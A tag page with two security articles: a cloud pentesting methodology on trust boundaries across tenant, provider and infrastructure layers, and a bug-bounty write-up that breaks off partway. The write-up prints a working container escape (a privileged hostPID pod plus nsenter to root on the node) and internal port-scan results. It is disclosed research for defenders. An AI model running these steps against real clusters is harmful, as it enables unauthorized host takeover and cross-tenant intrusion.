Tag: Cloud services

  • Transcending the trust boundaries: how a cloud pentest works

    Transcending the trust boundaries: how a cloud pentest works

    Users trust a cloud provider to configure and maintain their IT services, including data storage. In turn, the provider guarantees that hosted services will stay up and that data will remain strictly confidential.

    To demonstrate that their platforms are secure, providers choose different strategies: some run bug bounty programs, some rely on regular internal audits, and some bring in external research teams. However, cloud pentest methodology still has plenty of blind spots: there’s no single standard, and the outcome depends on the experience and skill of the team.

    Most pentests in this area have historically focused on the external layer: the management console, customer interfaces, APIs, and the basic network perimeter. This layer is important, but it’s only the surface.

    In this introductory article, we share our approach to penetration testing of cloud environments, which we’ve developed over several years and dozens of projects. We don’t claim to cover every possible scenario. Instead, we want to show the reasoning behind our pentests and highlight less obvious points that are easy to miss.

    Key points

    • Cloud infrastructure is more complex than a traditional web application. To simplify, you can think of it as a hotel with three zones: the booking website (External, the outermost layer), the guest rooms (Overlay, the logical layer), and the staff area (Underlay, the infrastructure or base layer). A cloud service is well protected if the trust boundaries between these zones cannot be breached.
    • A cloud pentest’s value isn’t measured by the number of vulnerabilities found or by the mere fact that code ran. Remote command execution in an isolated tenant container is only the beginning of a pentest, not the end. The main goal is to assess whether an attacker can violate trust boundaries.
    • The assessment should answer five critical questions: Can an attacker read, modify, or delete other tenants’ data? Can they take over the provider’s IAM service account? Does compromising a runtime environment lead to the attack spreading to other resources and services? Can the provider’s internal resources be affected from low-trust segments? Is a virtual environment escape possible?
    • A negative result is still a result. If a pentester cannot move from the tenant plane to the provider overlay, that is a valuable finding. It shows which protection boundaries work in practice and which rely only on assumptions and need additional controls. However, it does not prove that the trust boundary is impossible to cross or that no other attack paths exist.

    Key terms

    Below, we explain some specific terms that are most often used in cloud infrastructures.

    Tenant (think of a renter in an apartment building) is a logically isolated unit within a cloud platform. Examples include a user (such as an organization), a separate project or cloud account, or another unit of administrative and resource isolation.

    Tenant plane is the set of IT services and data that a tenant manages directly: virtual machines, Kubernetes clusters, databases, object storage, and managed applications.

    Management console is the graphical web interface and the entry point for the customer at the External layer.

    Service runtime is the actual environment in which a provider’s cloud product runs: a process, container, pod, virtual machine, or microVM.

    Service management plane consists of the provider’s internal components that create, update, restart, back up, and delete the service runtime.

    IAM service account (service identity) is a special digital identity for programs, bots, cloud services, or servers. It lets them access the required cloud resources automatically and securely, without human involvement.

    Context (in cloud security) is the set of attributes and credentials that define the current permissions and runtime environment of a subject in the system. It includes the identity in use (for example, a service account token, certificate, or key), the privilege level (roles and IAM policies), and the technical environment from which the request is initiated (container, virtual machine, or network segment).

    Initial zone is the context in which the researcher lands right after the first successful transition. It consists of the specific runtime, IAM service account (service identity), namespace, network routes, and the set of available services.

    Provider overlay is the provider’s internal environment, hidden from the customer, that is accessible from the initial zone: network segments, DNS zones, internal APIs, and management components.

    Control plane consists of the platform components that make global management decisions and change the platform state: they allocate resources, assign permissions, configure the network, and coordinate state.

    Data plane consists of the components that transfer or process user data and application traffic. Some components (or systems) sit at the intersection of different architectural layers, so they can’t automatically be assigned to the data plane or the control plane. Examples include logging, backup and billing systems. Their role changes depending on the task a component is performing at a given moment and how its work affects user traffic.

    Cell is a bounded portion of the platform in which compute, disk, network, or management components are shared (often tied to a region, availability zone, service type, or group of tenants).

    Pods are the smallest compute units in Kubernetes. A pod is one or more containers that are deployed on the same host and share common resources.

    Cross-tenant impact is confirmed impact from the context of one tenant on the resources of another, without a trust relationship defined by the architecture.

    Provider-level impact is impact on a provider’s management, infrastructure, or supply chain component that goes beyond the original tenant resource.

    Tenant workload is the set of compute resources, processes, and applications that a customer runs and uses in their tenant to perform business tasks. It includes virtual machines, containers (such as pods in Kubernetes), serverless functions, managed databases, and any other active services that process tenant data.

    What a pentester needs to check

    During a project, a pentester needs to examine not only the management console but also the boundaries that separate the tenant plane from managed services and the provider’s internal infrastructure. A single request passes through many components, from the API gateway to the storage system. A configuration error in any of them changes the attack context: the researcher takes over an IAM service account, gains access to the cloud’s internal network, or acquires the ability to affect another tenant.

    This is why a cloud pentest is not just a search for vulnerabilities in the management console, nor a sequential scan of cloud subnets. Above all, it means testing trust boundaries: verifying how transitions between zones with different trust levels are controlled. A more trusted zone must treat everything that comes from a less trusted zone as potentially hostile.

    What makes a boundary real? Controls such as authentication and authorization (IAM, RBAC), isolation (virtualization, containerization, network segmentation), cryptography (mTLS), input handling, and others. We build a map of potential boundaries and check each one: is it actually enforced by controls, or does it rely on assumptions (architectural, infrastructural, implementation-related, and others)?

    Cloud platform as a research target

    When we assess the security of a traditional system, we usually start from basic architectural patterns. For web applications, this is a typical stack of a web server (Nginx, Apache, and so on), server-side logic, object storage, and integrations with third-party services. For hardware solutions, it is a chain from physical interfaces to firmware and protocol handlers.

    Cloud platforms are different: how they’re actually built is highly uncertain. Cloud computing standards and reference architectures (such as NIST SP 800-145 and ISO/IEC 17788) define the roles of participants and the relationships between cloud components, but they don’t prescribe strict rules for how to build a platform.

    Because there is no single technical standard, a managed database that looks the same from the outside can run in an isolated virtual machine at one provider, in a namespace of a shared Kubernetes cluster at another, and in a dedicated tenant cluster at a third. The same variability applies to software choices. A provider can use OpenStack, Kubernetes, its own control plane, or a combination of them. This means a familiar product name doesn’t give a full picture of the system’s internal structure.

    That’s why a cloud pentest is harder than assessing a traditional system. Once the tenant trust boundary is breached (say, by escaping from a microVM to the host operating system), the job is no longer finding the next open port. It becomes reconstructing the architecture from indirect clues. The pentester puts the puzzle together by studying running processes, network routes, certificates, service names, and agent configurations. From these details, the researcher determines the role of each component and the trust boundaries between them.

    To keep our approach vendor-agnostic, we will look at cloud infrastructure without reference to specific brands. Depending on the architectural scenario, the same component can be implemented in fundamentally different ways. For example, in one case a managed database can run as a separate managed service isolated at the virtual machine level (where the main risks are hypervisor security and the management API). In another case, it can run as a container inside a shared Kubernetes cluster (where the threat comes from the possibility of container-to-host escape and the quality of namespace isolation).

    The hotel analogy and the three cloud layers

    There is no single standard for building cloud infrastructure. To make pentesting systematic, we use our own three-layer model of the cloud: External, Overlay, and Underlay. The easiest way to picture a cloud platform is as a large hotel. It has a public area for guests, back-of-house areas for staff, and technical floors with utility systems. This analogy doesn’t cover every detail, but it shows well how areas of responsibility are divided and how the transitions between them work.

    External layer: in a hotel, this is the booking website, the doors, and the front desk. At this layer, the pentester interacts with cloud components the way a typical user does: logs in to an account, calls the public API, creates IT services, and connects to their endpoints. Work at this layer is similar to external penetration testing or application security assessment. The main goal is to gain initial access from the outside to another customer’s tenant, or to move to the Overlay layer.

    The External layer is where tenant access is provided as intended. In a hotel, the tenant is the room itself: guests control the belongings and equipment in their own room, but their key card must not open neighboring rooms. In the cloud, customers manage only their own data, virtual machines, pods, databases, object storage (S3 buckets), and accounts within their own project. A tenant is not a separate infrastructure layer. It is what the user gets at the External layer. This is where the user’s legitimate privileges end and the first trust boundary, the one the pentester checks, begins.

    The provider’s service layer (Overlay): in a hotel, this is the “Staff only” area: kitchens, laundries, the control room, service corridors, and the master key system. In cloud infrastructure, this is the internal logical service management layer: runtime environments for managed services, schedulers, backup, monitoring (observability) and billing systems, the IAM system, and internal APIs. Customers use the results provided by these systems but must not get any access to them unwarranted by the architecture.

    Don’t confuse this term with an overlay network in traditional network engineering: a logical network on top of a transport underlay network, such as VXLAN segments. In our methodology, Overlay has a broader meaning: it’s the internal logical layer for running and managing cloud services, and it can be split differently depending on the cloud. For clarity, the table below divides it into two sublayers: runtime environments of tenant services and provider’s internal components.

    Infrastructure layer (Underlay): in a hotel, this is the utilities, electrical equipment, and physical access control systems that keep the building running. In the cloud, this is the hardware layer: physical servers, host operating systems, hypervisors, the transport network, storage systems, and out-of-band management. Careless testing at this layer can do serious damage.

    But the key point of this analogy is not the rooms themselves, but the doors between them. A vulnerability on a booking website is dangerous, but a master key left in a room that opens several or every door in the building is far more so. The same rule applies in the cloud: remote code execution (RCE) inside an isolated tenant container (pod) is only a local problem. Compromise of an IAM service account that manages the resources of a region affects the entire platform.

    The table below gives examples of components, pentester entry points, and assessment goals for each layer. We split the Overlay into two sublayers because the runtime environment of a tenant service and the provider’s internal infrastructure have different trust boundaries and different entry points.

    Layer What it contains Typical pentester entry point Main assessment goal
    External Public cloud interface (API), management console, IAM, endpoints for interacting with IT services, and SDK. The internet or a regular customer account. Gain initial access to the tenant, execute code, compromise an IAM service account (service identity).
    Overlay (IT services) Service runtime: the operating system and its components, provider and product agents, and database engine. User SQL queries, code executed inside jobs, imported plug-ins, or operating system images. Break out of the service runtime, find excessive privileges on the IAM service account (service identity) assigned to it.
    Overlay (provider components) Billing system, backups, monitoring, access control system, and internal cloud API. A confirmed initial zone obtained at the previous step or provided by the cloud provider to save time. Breach the boundaries between services, disrupt tenant isolation, find ways to interact with the control plane or IT services.
    Underlay Host operating systems, virtualization systems (hypervisors), the transport network, storage systems, baseboard management controllers (BMC), and other low-level mechanisms. A virtual machine the pentester controls, with access to the underlay, or a privileged IAM service account (service identity). Check the isolation of virtualization and neighboring workloads, as well as the real scale of the impact.

    A real cloud platform doesn’t always fit this matrix. A service can run in a separate virtual machine, in a pod in a shared cluster, or in a microVM. A hypervisor belongs to the Underlay, but its management API may be reachable from the Overlay. That’s why the layer a pentester is currently on (External, Overlay, or Underlay) depends not just on the IP address but on four attributes taken together:

    1. Who controls the cloud infrastructure component.
    2. Whose data and resources the component serves.
    3. Which IAM service account is used for interaction.
    4. How far its privileges extend.

    Where the trust boundaries lie

    When analyzing the network that supports a cloud’s internal infrastructure, it’s easy to wrongly assume there is only one trust boundary, between the tenant and the provider. But reaching the provider’s internal network may be only the first step. A real platform contains many zones with different trust levels, and compromising one component doesn’t necessarily give access to the whole infrastructure. For example, a user request may pass in sequence through the customer interface (the management console), then the tenant plane (a database), then the service runtime (the virtual machine that the database runs on), then the service management plane (an internal service that monitors database health), then the cloud control plane (an internal service that manages database resources). Only after that does it finally reach the infrastructure layer.

    Each transition changes the trust zone, but it doesn’t necessarily mean reaching a new subnet or obtaining root privileges. It’s like passing through turnstiles inside the same building. We haven’t left the building (a new subnet) or gotten keys to every door (root privileges), but at each checkpoint we have our badge checked again, because different security rules apply on the other side. Sometimes the boundary lies between two roles in the same process, sometimes between an API and a worker, and sometimes between a guest virtual machine and a hypervisor. At the boundary between an API and a worker, a vulnerability can arise from differences in data handling. For example, an internal cloud API accepts a string containing a null byte (\x00) from a user, considers it valid, and passes it on. A background worker then blindly trusts this data and inserts it into a low-level query to a PostgreSQL database. In C libraries, \x00 terminates a string. As a result, the database handler truncates the text at the point where this byte was injected. This breaks the logic of the SQL query or permission check and resets the regular user’s context. The system is then forced to change the password of the main administrator (postgres), which leads to full database takeover.

    Example 1. Strict isolation (managed database)

    A customer rents a managed database in their tenant. The tenant is allowed to run SQL queries but not allowed to connect to the operating system the database runs on. Here, the trust boundary lies between the permissions of a database role and the runtime environment of the database process. If, through the permitted SQL queries, the pentester manages to reach code execution at the operating system level as the service process, the pentester gains full access to the host’s resources. This lets them do more than just collect information. They can actively interact with the host: read and modify files, analyze running processes, establish network connections to internal services, and extract credentials (for example, an IAM service account token) to attack other cloud components.

    Example 2. Legitimate access (managed virtual machine)

    In another implementation, the provider supports SSH key authentication by design, and the user connects to the resource like to any other virtual machine. Formally, the product is still called a “managed database”, but the actual trust boundary shifts deeper, to the level where the guest OS interacts with the host infrastructure. In this case, SSH access to the operating system is not a violation in itself, because the service model allows it. What we need to test is the next boundary, the one between the service virtual machine and the management agents, metadata, host, or control plane.

    This leads to several practical rules:

    • Normal execution of user code does not, by itself, prove an isolation breach. In IT services such as interactive notebooks, continuous integration (CI) runners, or serverless systems, code execution is a product feature.
    • Gaining maximum privileges inside a pod does not mean gaining maximum privileges on the node. After crossing each trust boundary (for example, into a zone with different privileges or service accounts), you need to re-check what’s visible: processes, mount points, interfaces, devices, and IAM service accounts.
    • An IAM service account token that a researcher finds is not necessarily useful. What matters is who issued it and which systems accept it. The tenant or service the token is bound to, and the actions it permits there, also matter.
    • The fact that a tenant container can reach a provider’s internal IP address does not mean a compromise has occurred. In many clouds, some internal services are reachable over the network by design. For a real compromise, an attacker must either steal a service token or find an internal service that mistakenly accepts customer accounts or requires no authentication.
    • Remote code execution inside the environment where a service runs does not mean access to the control plane. This is only the initial zone, from which the researcher must look for the next trust boundary: service tokens, the provider’s internal APIs, and neighboring containers.

    To tell a real trust boundary violation from a false positive, we use four sequential stages from the researcher’s perspective:

    1. Network visibility. The researcher can see the provider’s internal service from the tenant plane. This is not a breach yet, but it is the first sign that isolation may be insufficient.
    2. The researcher manages to authenticate to a service by presenting a token or certificate compromised at the previous step (for example, a service account token or a metadata token). This is serious, because the service treats the request as legitimate.
    3. The target object grants specific permissions to the current context. This is not yet the execution of dangerous operations, but only a check that they are allowed.
    4. Controlled action beyond the original trust boundary. The researcher performs the minimum safe action that confirms the previously obtained permissions work in practice. For example, they create a test record in a neighboring tenant (usually a second test tenant).

    The first two stages only produce a hypothesis that the trust boundary has been violated. The object is visible on the network and accepts requests, but that does not mean the researcher can change anything in it. Confirmed impact appears only in the last two stages, when the researcher obtains authorization and performs a controlled action beyond the original boundary. For example, network reachability of a neighboring database indicates insufficient network isolation, but cross-tenant impact appears only when the researcher can use the original context to perform an action on another tenant’s resource that the cloud model doesn’t allow, such as reading data. To keep the test ethical, the researcher demonstrates such reading only between their own test accounts, so real users’ data stays confidential.

    Attacker model and three research goals

    Dividing the cloud infrastructure into three layers (External, Overlay, and Underlay) helps define the attacker model for each layer. In penetration testing, the researcher can focus on one layer and look for every possible way to violate the nearest trust boundary. Another approach is to build a full attack chain across all layers. The attacker model also defines the starting point: the access level and position from which the pentest begins. Below is a general list of attacker models that apply to most cloud infrastructures:

    1. External attacker without an account. The test covers the public attack surface, registration, the login mechanism, externally accessible services, and the path to the first tenant context. Layer: External.
    2. Attacker with legitimate tenant access. This is the key model for a multi-tenant cloud: the tenant is entitled to create their own resources and tries to go beyond the limits those resources impose. Layer: External.
    3. Internal attacker with a compromised runtime. The starting point is a compromised process, pod, or virtual machine. This scenario is especially relevant for supply chain attacks. The researcher explores options for lateral movement in the network and host environment. Layer: Overlay or Underlay.
    4. Internal attacker with a compromised IAM service account token or an operator account. This model involves testing IAM and the cloud platform management processes. Layer: Overlay or Underlay.

    Regardless of the attacker model and the initial entry point, the research goals at the initial stage fall into three groups.

    1. Code execution first

    The goal of this approach is to execute arbitrary code inside a provider-managed environment. To do this, a pentester can attack a managed database, serverless function, CI/CD workload, PaaS application, tenant virtual machine, container, or virtual network gateway.

    Example of an attack chain through a managed service

    The pentester interacts with the managed service interface and finds a vulnerability in it (for example, CVE-2026-19478 in the case of the GitLab web interface) or in add-on modules deployed by the cloud provider. The vulnerability allows the researcher to execute code remotely inside the runtime (operating system), find an IAM service account, and use it to gain access to the resource management service. The researcher can then look for vulnerabilities in that service and penetrate the provider overlay.

    Example of an attack chain through a virtual environment

    The chain begins with the compromise of a tenant workload. The researcher plants malicious code in a popular OS or container image in advance. A cloud tenant downloads and runs the trojanized image, and the attacker gains access inside that specific container. Next, the attacker finds ways to escape the container (using CVE-2026-43284) into the runtime: the container runtime, hypervisor, or host agent. From there, they reach the host shared with other containers and can affect the provider’s management components.

    2. Credentials first

    Rather than gaining access to a runtime environment, the researcher may obtain credentials that cloud services accept as valid: a service account token, metadata access credentials, an mTLS certificate, a bootstrap token, or an object storage key.

    In this scenario, the move into the provider overlay doesn’t come from breaking network isolation. It happens through legitimate platform functionality. The network may be well segmented, but an over-privileged IAM service account token that the attacker manages to extract (for example, from environment variables or metadata) can legitimately call an internal API through a standard gateway or token exchange service.

    3. Administrative or service context

    The goal of this scenario is to bypass technical restrictions by gaining legitimate access through channels intended for staff. The route often starts with targeting people (phishing, insiders, or leaked employee or contractor credentials). However, the final entry point into the internal environment is technical: a connection through the operator’s VPN, a support portal, a remote support tool, an administrative workstation, an SSH certificate, or a serial console. Although the route often starts with compromising a person, the resulting initial zone (the technical context with certain privileges and access to resources where the researcher ends up) can match the first scenario. For example, access to a managed database host (DBaaS host) can be obtained not by exploiting a vulnerability but through a legitimate administrative channel, which is then used for privilege escalation.

    Sorting out the architectural zoo

    After moving deeper into the cloud infrastructure and gaining access to a node, the pentester analyzes local artifacts. Completely different architectures can hide behind the same managed service.

    OpenStack-like infrastructure

    IaaS services based on OpenStack usually include a large set of components: an IAM service account, compute resources, networking, images and block storage, as well as API processes, workers, a message broker, and platform state databases. A managed service built on top of such an IaaS layer can use a separate virtual machine for each database instance, several instances on a shared virtual machine, a Kubernetes cluster on virtual workers, or even a dedicated tenant for a specific product.

    A message broker such as RabbitMQ is typical for OpenStack, but finding one doesn’t prove that the target is a stock OpenStack deployment. The provider may have changed the trust model, added its own API, and replaced some of the components.

    Kubernetes-based platforms

    In clouds of this type, a central Kubernetes cluster controls the entire infrastructure: not only containers but also virtual machines, other tenant Kubernetes clusters, and managed services. At the service runtime level, a product can run as a pod in a shared namespace, an application inside a tenant, a KubeVirt virtual machine, or a worker node of a separate cluster. From the outside, they all look like the same product, but their trust boundaries and the attack surface behind them differ radically.

    Because the platform is managed through a Kubernetes cluster, where the service account token is the main unit of authorization, it’s especially important to determine where the IAM service account you obtained during the pentest lives: in a tenant cluster, in a managed cluster, or with an operator that serves multiple tenants. Identical-looking tokens may have permissions for only one pod, or they may allow changing resources in several environments at once.

    Custom control plane and configuration management systems

    A provider may forgo off-the-shelf platforms altogether. For example, in this kind of architecture, a provider might build its public API in-house, deploy virtual machines through libvirt or a lightweight IaaS layer, automate networking with scripts around Open vSwitch (OVS), build object storage on Ceph, and distribute node configuration through SaltStack or another configuration management system.

    In this architecture, a virtual machine management service might get its settings from an internal HTTP service, a script with shared credentials might run backups, billing might receive events from a queue, and an internal agent might talk to the control plane over mTLS. Almost every component here is specific to the provider. The main risk area is not vulnerabilities in well-known products, such as those built on open-source solutions, but logic errors at the junctions between internal systems.

    Mixed-stack platform

    In practice, the most common setup is a mix of approaches

    1. The infrastructure core (IaaS layer) is built on OpenStack
    2. Kubernetes runs the managed services
    3. The storage system runs on Ceph
    4. IAM, billing systems, and the internal API are custom-built.

    Here are some clues that can help form initial hypotheses about the environment:

    • A Kubernetes token and cluster DNS in the runtime environment of the host under investigation suggest that the service is running in the context of a pod.
    • A running qemu-guest-agent process indicates that we are inside a virtual machine rather than on a physical server.
    • Attached Ceph/RBD volumes point to a separate storage plane in the platform architecture, implemented as distributed block storage.
    • A large number of CNI or Open vSwitch (OVS) network interfaces means that this is a shared Kubernetes node

    However, any such clue needs additional verification tests.

    Example of a mixed-stack cloud platform

    How to choose the next trust boundary

    After the pentester has examined the initial zone, the next route depends on a combination of two factors:

    1. Network visibility: which segments, services, and tenants are reachable.
    2. Available trust level: which credentials, certificates, and API methods are accepted as valid in those segments.

    Sometimes the network has almost no restrictions, but all services require correct mTLS authentication. In other cases, the network is almost completely closed, but a discovered service account can create resources across the entire region through the standard API. For this reason, network reachability (open ports) and the IAM service account must be considered together.

    At this stage, the researcher usually focuses on several critical areas:

    Telemetry (observability): the pentester checks whether centralized monitoring systems (logs, metrics, traces) collect data from different tenants and whether there is sufficient isolation between them. Isolation can fail if an attacker can search by other tenants’ identifiers, read raw event records, extract credentials from telemetry events, or influence alerts and automated actions.

    Data storage and backup systems: this layer connects the runtime environment, the management plane, and user data. The researcher analyzes temporary restore volumes, scopes of keys, how snapshots and backups are bound to tenants, and how workers determine the owner of a resource.

    Billing and quota system: the pentester checks whether a mismatch between inventory and accounting can lead to unbilled compute usage, quota bypass, or exhaustion of the provider’s resources. Critical impact here does not necessarily require remote code execution.

    IAM and service account: the pentester assesses whether a token can open a path through a public or internal gateway, even with strict network segmentation. The pentester pays particular attention to the token’s scope, lifetime, tenant binding, and access to the secrets store.

    Supply chain: the pentester checks container image and virtual machine image registries, installation package repositories for utilities and Kubernetes package managers, and CI/CD tool configurations. Write access to any of these components can sometimes have a greater impact than remote code execution on a single node.

    Management services: the pentester examines task schedulers, message queues, inventory services, and configuration management systems. If the researcher gains such a component’s trust, there’s no need to connect to each service instance directly: the component itself can push commands and changes out to other resources.

    Typical attack chains and real-world incidents

    In practice, no two attack scenarios are quite alike, but a few examples show clearly how attackers violate trust boundaries.

    1. From a managed database to other users’ data

    The researcher deploys their own managed database and uses standard SQL statements and procedures for queries. However, an isolation flaw lets code execution escape the isolated runtime and land in the service’s shared runtime. There, the researcher finds an IAM service account token that isn’t tied to any specific managed database instance. The isolation breach is confirmed by a successful manipulation of the database of another (test) tenant.

    In this case, the ability to run SQL queries was not itself a vulnerability. The critical transition occurred between the tenant context and the shared IAM service account. The result was cross-tenant impact, achieved without even needing root privileges on the host.

    Similar logic was demonstrated in the public ChaosDB case: the Jupyter Notebook feature in Azure Cosmos DB created a risk of access to other tenants’ keys. This is an important example of a vulnerability in a single user-facing feature of a managed service affecting other components of the platform.

    2. From a Kubernetes pod to other users’ data

    The pentester launches their own container and then uses an isolation vulnerability to take control of the underlying host. On the host, the pentester finds a privileged Kubernetes service account that processes requests from the management cluster’s API. A controlled action on a neighboring pod that belongs to a second test tenant confirms the isolation breach.

    This is exactly how the Azurescape chain, published by Unit 42, worked: a container escape, acquisition of a privileged IAM service account, and compromise of a multi-tenant Kubernetes cluster. What mattered here was not the container escape but the ability to obtain a service account token valid for other tenants.

    3. From a public operation to changes in internal cloud resources

    A user calls a standard restore, import, plug-in installation, or image build operation for a managed service. The public API validates a parameter passed to an internal worker too loosely. Exploiting a vulnerability in the worker itself leads to remote code execution or privilege compromise (write access to the container image registry or the package manager). This makes it possible to replace the target artifact with a user-provided one.

    This is an example of impact at the cloud provider’s infrastructure level: an endpoint (worker) in the public API can compromise the future workloads of other tenants, even if the researcher did not scan neighboring tenants or access their data.

    4. Virtual machine escape

    The starting point of the research is the pentester’s own virtual machine in the cloud. A vulnerability in the virtualization system makes it possible to use a guest-to-host vector and execute arbitrary code on the host machine of the hypervisor itself. The researcher then moves from the hypervisor host to the management network or control plane, which counts as crossing the next trust boundary.

    Public research shows that virtualization escapes are a real class of threats. They are most often related to errors in memory isolation mechanisms, or to vulnerabilities in shared clipboards or shared folders. However, a public CVE does not prove that a specific cloud is vulnerable. The hypervisor version, its configuration, and additional layers of protection (for example, strict OS-level policies) also affect whether an attack succeeds. Testing guest-to-host techniques in shared public infrastructure carries a high risk of destructive impact on the hypervisor itself and its virtual machines. For this reason, such testing is strictly regulated and performed only with the provider’s approval.

    What counts as a pentest result

    The value of cloud penetration testing lies not in the number of open ports found or in the fact that remote commands were executed, but in proven violation of trust boundaries. In our experience, cloud providers expect pentest results to answer the following critical questions:

    • Can an attacker from one tenant read, modify, or delete other tenants’ data?
    • Can user-supplied code be used to steal the token of a provider’s IAM service account or to perform actions on the account’s behalf?
    • Can compromising one runtime environment let an attack spread to other resources, services, a cell, or a region?
    • Is it possible to affect the provider’s internal technical resources from low-trust segments (for example, directly from a tenant’s virtual machine)?
    • Is it possible to move from the virtual environment to the host, the hypervisor, the storage system, or the physical network, and what is the real scale of the destructive impact?

    For each confirmed attack vector, the report records the initial conditions, observations, alternative explanations, minimally sufficient proof, limitations, and potential damage. A negative result is also important: it shows which trust boundary relies on blind assumptions and which is enforced by controls that can withstand targeted bypass attempts in practice.

    Safe confirmation of impact

    Testing a provider overlay and infrastructure layer is unlike testing an ordinary external application, because mistakes cost far more. Any careless action can set off a cascade that hits a shared message queue, a management cluster, backups of several tenants, or a shared host.

    Before the work starts, define the following in the rules of engagement:

    • Permitted accounts, tenants, regions, and infrastructure components
    • Allowed attack techniques and limits on load intensity
    • Timeframes for testing, live communication channels, and conditions for an immediate stop
    • Rules for handling locked accounts, credentials, and sensitive information found by accident
    • The procedure for testing hypotheses that go beyond the original scope of the research

    To reiterate, it’s safer to confirm cross-tenant impact on a second tenant that the pentest team controls and that holds synthetic data prepared in advance. Provider-level impact is verified on a dedicated test resource or an artifact created specifically for this purpose. Passive observation is preferable to reading other people’s data, and a minimal reversible action is preferable to broad exploitation.

    It’s important to distinguish between two types of engagements. A tenant owner can test their own resources within the rules of a specific cloud, but this doesn’t always give them the right to probe the provider’s infrastructure. A pentest of the provider overlay and infrastructure layer requires separate authorization from the platform owner.

    Conclusion

    The main job of a cloud platform is not simply to hand out resources quickly but to isolate tenants from each other securely and to delegate management to the provider’s automation. A traditional external pentest only shows whether an attacker can break in through the public attack surface. However, the real reliability of a cloud depends on whether its defenses can withstand attacks at the trust boundaries between the following platform layers:

    • External: the public attack surface, which includes public APIs, management consoles, IAM services, endpoints for interacting with IT services, and SDKs. Here, the pentest assesses whether an attacker can gain initial access to a tenant and compromise accounts.
    • Overlay (IT services): the virtual layer on the tenant side, where runtimes, operating systems, databases, and service agents operate. Tests at this layer aim to break runtime isolation and find excessive privileges of IAM service accounts. As a reminder, we split Overlay into two sublayers, because the runtime of a tenant service and the provider’s internal infrastructure have different trust boundaries and different entry points. More on that below.
    • Overlay (provider components): the cloud’s internal logical environment. It includes billing, backup, monitoring, and access control systems, as well as internal APIs. Attacks at this layer aim to violate the boundaries between services and tenants and find ways to interact with the control plane without authorization.
    • Underlay (infrastructure layer): the foundation of the platform. It includes host operating systems, virtualization systems (hypervisors), the transport network, data storage systems, baseboard management controllers (BMCs), and other low-level mechanisms. The goal of testing here is to assess virtualization isolation and the real scale of impact on neighboring workloads.

    This is why an effective cloud pentest is built as a sequence of verifiable transitions between these zones. At each step, the researcher records where they started, describes the new context they’ve gained, analyzes that context’s chains of trust, and takes the minimum action needed to confirm they’ve violated the next boundary.

    This systematic approach turns scattered technical findings into a measurable, proven risk for a specific user, service, or the entire cloud platform.

    What’s in the next article

    This article outlines the general approach: which layers exist in the cloud and where the trust boundaries between them lie. In the second article, we’ll look closely at the External layer of the cloud and at pentesting managed services from the tenant side.

    Source: Securelist (Kaspersky GReAT) · 2026-11-12

  • An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure

    An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure

    This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.

    Introduction

    Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.

    This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).

    1. Gaining initial access through a managed Kubernetes cluster

    Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.

    1.1. Escaping the worker node

    First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.

    kubectl run pod-name-bla \
       --image=alpine \
       --restart=Never \
       --overrides='
     {
       "apiVersion": "v1",
       "spec": {
         "hostPID": true,
         "containers": [
           {
             "name": "priv",
             "image": "alpine",
             "command": [ "sh", "-c", "sleep 3600" ],
             "stdin": true,
             "tty": true,
             "securityContext": {
               "privileged": true
             }
           }
         ]
       }
     }'

    After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:

    nsenter --target 1 --mount --uts --ipc --net --pid – bash

    After this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.

    Kubelet configuration and API server address

    Kubelet configuration and API server address

    Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.

    Konnectivity service account token

    Konnectivity service account token

    1.2. Analysis of control plane services

    After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:

    192.168.0.4:9443 open https status=404
    192.168.0.4:2380 open
    192.168.0.4:6443 open http status=400
    192.168.0.4:8132 open
    192.168.0.4:9100 open http status=200 title="Node Exporter"
    192.168.0.4:9308 open http status=200 title="kube-state-metrics"

    Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.

    Interaction diagram between control plane and data plane via Konnectivity

    1.3. Exploiting Konnectivity

    To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.

    A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.

    Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.

    service AgentService {
      rpc Connect(stream Packet) returns (stream Packet) {}
    }

    The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:

    //apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26
    enum PacketType {
      DIAL_REQ = 0;
      DIAL_RSP = 1;
      ...
    }
    
    message Packet {
